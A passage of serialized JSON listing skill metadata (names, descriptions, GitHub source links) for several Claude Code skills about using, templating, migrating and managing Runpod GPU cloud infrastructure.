understanding how Runpod works. Routes to the right skill (runpod-mcp, runpodctl, flash, companion-clis, runpod-usage, runpod-templates, runpod-migrate) and indexes two dozen live-verified end-to-end examples (golden paths) — use it when the lane is unclear, and for any multi-step or provisioning task even when it is not.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod\u002FSKILL.md",[],[],{"skillNo":100,"name":101,"nameZh":6,"description":102,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":103,"categories":104,"keywords":105,"publishedAt":20},"01M7ACC0Q1C89N9BZBV91CTQTF","runpod-usage","How Runpod works and how to work it — pods vs serverless, GPU\u002FVRAM selection, storage, building a container, networking, plus the agentic pod development loop (provision → ssh-exec → set up → poll readiness) and on-pod install hygiene (uv\u002Fapt). Use to answer \"how does X work\", \"which GPU\", \"how do I build a container\", or \"how do I stand up a workload on a pod\". Guidance, not a tool — execute with runpodctl, runpod-mcp, or flash.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-usage\u002FSKILL.md",[],[],{"skillNo":107,"name":108,"nameZh":6,"description":109,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":110,"categories":111,"keywords":112,"publishedAt":20},"01M7ACBRPE345GF5GM5B8P8RRC","runpod-templates","Runpod's official prebuilt pod templates (ComfyUI, PyTorch, and others): what each image ships, which ports and paths it uses, how to pick one, how to pin a version, and what is missing on first boot. Use when a task says \"run \u003CX> on a pod\" and an official template already covers it, instead of building an image — and when a user needs help with or wants to fix something about a Runpod template they are already running (won't boot, can't reach the UI, missing models, wrong CUDA line, broken ComfyUI workflow metadata on imported workflows): start here and route onward. Deploy with runpodctl or runpod-mcp; end-to-end walkthroughs live in the runpod router's golden paths.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-templates\u002FSKILL.md",[],[],{"skillNo":114,"name":115,"nameZh":6,"description":116,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":117,"categories":118,"keywords":119,"publishedAt":20},"01M7ACBJATHKVX1TWES2F44GY8","runpod-migrate","Migrate a codebase from the Runpod GraphQL API or REST v1 to REST v2 — inventory which parts use which API version, rewrite the call sites, flag breaking changes, and verify. Use when someone asks to move to v2, asks what v2 would change, or asks which Runpod API their code is on. For managing infrastructure rather than migrating code, use runpod-mcp or runpodctl.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-migrate\u002FSKILL.md",[],[],{"skillNo":121,"name":122,"nameZh":6,"description":123,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":124,"categories":125,"keywords":126,"publishedAt":20},"01M7ACBC7GHVH6T9YEAPCG2AP8","runpod-mcp","Manage Runpod infrastructure — pods, serverless endpoints, jobs, templates, network volumes, container-registry auth, GPU\u002FCPU catalog, and billing — via the Runpod MCP server's structured tool calls. Use when the Runpod MCP tools (create-pod, list-endpoints, …) are connected in this session, or to connect them (hosted OAuth or local npx). Prefer this over runpodctl for plain infra CRUD when MCP is available; use runpodctl for the terminal, file transfer, or SSH setup.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-mcp\u002FSKILL.md",[],[]]